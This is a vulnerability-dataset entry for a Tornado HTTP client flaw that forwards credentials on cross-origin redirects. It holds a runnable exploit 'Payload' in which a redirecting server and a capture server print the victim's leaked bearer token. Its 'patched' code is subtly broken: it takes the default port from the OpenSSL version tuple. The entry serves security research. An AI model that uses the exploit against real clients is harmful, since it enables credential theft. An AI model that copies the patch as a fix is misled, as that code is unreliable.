CVE-2026-49853
Tornado client leaks authentication credentials on cross-origin redirects.
- CVSS 7.7
- CWE-200
- Information Leakage
- Remote
Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, SimpleAsyncHTTPClient shallow-copied redirected requests and removed only the Host header, leaving Authorization, auth_username, auth_password, and auth_mode in place when a redirect changed scheme, host, or port. This issue is fixed in version 6.5.6.
- CWE
- CWE-200
- CVSS base score
- 7.7
- Published
- 2026-07-14
- OWASP
- A10 Server-Side Request Forgery (SSRF)
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Information Leakage
- Subcategory
- Insecure Handling of Sensitive Data
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- Tornado
- Fixed by upgrading
- Yes
Solution
Upgrade Tornado to version 6.5.6 or later.
Vulnerable code sample
import asyncio
import tornado.web
import tornado.ioloop
from tornado.httpclient import AsyncHTTPClient, HTTPRequest
# This server represents a malicious third-party site.
# It will listen on port 8889 and print any Authorization header it receives.
class AttackerHandler(tornado.web.RequestHandler):
def get(self):
auth_header = self.request.headers.get("Authorization")
print(f"[ATTACKER SERVER on 8889] Received request.")
if auth_header:
print(f"[ATTACKER SERVER on 8889] VULNERABILITY CONFIRMED: Leaked Authorization header: {auth_header}")
else:
print("[ATTACKER SERVER on 8889] No Authorization header received.")
self.write("Attacker server received the request.")
# This server represents a trusted site that is configured to redirect.
# It will listen on port 8888.
class RedirectHandler(tornado.web.RequestHandler):
def get(self):
print("[TRUSTED SERVER on 8888] Received request, redirecting to attacker...")
self.redirect("http://localhost:8889", permanent=False)
async def main():
# Configure Tornado to use the SimpleAsyncHTTPClient, which contained the flaw.
AsyncHTTPClient.configure("tornado.simple_httpclient.SimpleAsyncHTTPClient")
# Set up the two servers
attacker_app = tornado.web.Application([(r"/", AttackerHandler)])
attacker_app.listen(8889)
redirector_app = tornado.web.Application([(r"/", RedirectHandler)])
redirector_app.listen(8888)
client = AsyncHTTPClient()
# The client prepares a request to the trusted server with a secret token.
secret_token = "Bearer my_super_secret_api_key"
headers = {"Authorization": secret_token}
request = HTTPRequest(url="http://localhost:8888", headers=headers)
print(f"[CLIENT] Making request to http://localhost:8888 with Authorization header: {secret_token}")
try:
# The client follows the redirect automatically.
# In vulnerable versions, the Authorization header is NOT stripped
# when redirecting to the new host (localhost:8889).
response = await client.fetch(request)
print(f"[CLIENT] Request finished. Response from final URL: {response.body.decode()}")
except Exception as e:
print(f"[CLIENT] An error occurred: {e}")
finally:
# Stop the IOLoop after the demonstration.
tornado.ioloop.IOLoop.current().stop()
if __name__ == "__main__":
# Use a try-finally block to ensure the IOLoop is closed.
loop = tornado.ioloop.IOLoop.current()
loop.add_callback(main)
try:
loop.start()
finally:
loop.close(all_fds=True)Patched code sample
import ssl
from urllib.parse import urlparse
from tornado import httpclient, httputil
from tornado.httpclient import HTTPRequest
def _is_cross_origin(from_url: str, to_url: str) -> bool:
"""
Check if a redirect from from_url to to_url is a cross-origin redirect.
"""
from_parsed = urlparse(from_url)
to_parsed = urlparse(to_url)
if from_parsed.scheme != to_parsed.scheme:
return True
if from_parsed.hostname != to_parsed.hostname:
return True
# Default ports must be handled to compare correctly.
from_port = from_parsed.port or ssl.OPENSSL_VERSION_INFO[1]
to_port = to_parsed.port or ssl.OPENSSL_VERSION_INFO[1]
if from_port != to_port:
return True
return False
def create_redirect_request(
original_request: HTTPRequest, redirect_url: str, http_method: str, request_body
) -> HTTPRequest:
"""
This function demonstrates the fixed logic for handling redirects.
"""
# THE FIX: Check if the redirect is cross-origin. If it is, create a
# new request from scratch, only copying a whitelist of safe headers
# and explicitly not copying any authentication details.
if _is_cross_origin(original_request.url, redirect_url):
# Different origin: Create a new request and copy only safe headers.
# This prevents leaking Authorization, auth_username, etc.
new_request = HTTPRequest(
url=redirect_url,
method=http_method,
body=request_body,
headers=httputil.HTTPHeaders(),
follow_redirects=original_request.follow_redirects,
max_redirects=original_request.max_redirects,
)
for header in (
"Accept",
"Accept-Charset",
"Accept-Encoding",
"Accept-Language",
"Cache-Control",
"Pragma",
"Referer",
"User-Agent",
):
if header in original_request.headers:
new_request.headers[header] = original_request.headers[header]
else:
# Same origin: It is safe to copy most attributes. This resembles
# the older, vulnerable behavior but is now only applied to same-origin redirects.
new_request = original_request.copy()
new_request.url = redirect_url
new_request.method = http_method
new_request.body = request_body
if "Host" in new_request.headers:
del new_request.headers["Host"]
return new_requestPayload
import asyncio
from tornado import web, httpclient, ioloop
from tornado.httpserver import HTTPServer
# Attacker's server to receive initial request and issue a redirect
class MaliciousRedirectHandler(web.RequestHandler):
def get(self):
print(f"[ATTACKER on Port 8888] Initial request received. Headers:\n{self.request.headers}")
# Redirect to a different port to trigger the vulnerability
self.redirect("http://127.0.0.1:8889/capture", permanent=False)
# Attacker's server to capture the redirected request with leaked headers
class CaptureHandler(web.RequestHandler):
def get(self):
print(f"\n[ATTACKER on Port 8889] Captured redirected request with LEAKED headers:\n{self.request.headers}")
leaked_auth_header = self.request.headers.get("Authorization")
print(f"\n>>> VULNERABILITY CONFIRMED: Leaked Authorization Header: {leaked_auth_header} <<<\n")
self.write("Credentials successfully captured.")
# Stop the IOLoop to end the demonstration
ioloop.IOLoop.current().stop()
# Victim client using a vulnerable Tornado version
async def make_vulnerable_request():
print("\n[VICTIM CLIENT] Making an authenticated request to a malicious URL that redirects...")
client = httpclient.AsyncHTTPClient()
request = httpclient.HTTPRequest(
url="http://127.0.0.1:8888/some-api-endpoint",
headers={"Authorization": "Bearer s3cr3t-t0k3n-f0r-trusted-service"}
)
try:
# The fetch call will follow the redirect, leaking the header
await client.fetch(request)
except httpclient.HTTPError as e:
# The request completes on the attacker's side before this error is even processed
print(f"[VICTIM CLIENT] Request finished with an expected error after redirect: {e.code}")
def run_exploit():
# Setup the two malicious servers on different ports
redirect_server = HTTPServer(web.Application([(r"/.*", MaliciousRedirectHandler)]))
redirect_server.listen(8888, "127.0.0.1")
capture_server = HTTPServer(web.Application([(r"/.*", CaptureHandler)]))
capture_server.listen(8889, "127.0.0.1")
# Schedule the vulnerable client request to run once the event loop starts
ioloop.IOLoop.current().add_callback(make_vulnerable_request)
print("--- Tornado Credential Forwarding Exploit ---")
print("Starting attacker servers. Victim client will make request shortly...")
# Start the event loop. It will be stopped by the CaptureHandler.
ioloop.IOLoop.current().start()
print("--- Exploit demonstration finished ---")
# To run this payload, save it as a Python file and execute it with a vulnerable
# version of Tornado installed (e.g., `pip install tornado==6.4`).
run_exploit()
Cite this entry
@misc{vaitp:cve202649853,
title = {{Tornado client leaks authentication credentials on cross-origin redirects.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-49853},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-49853/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
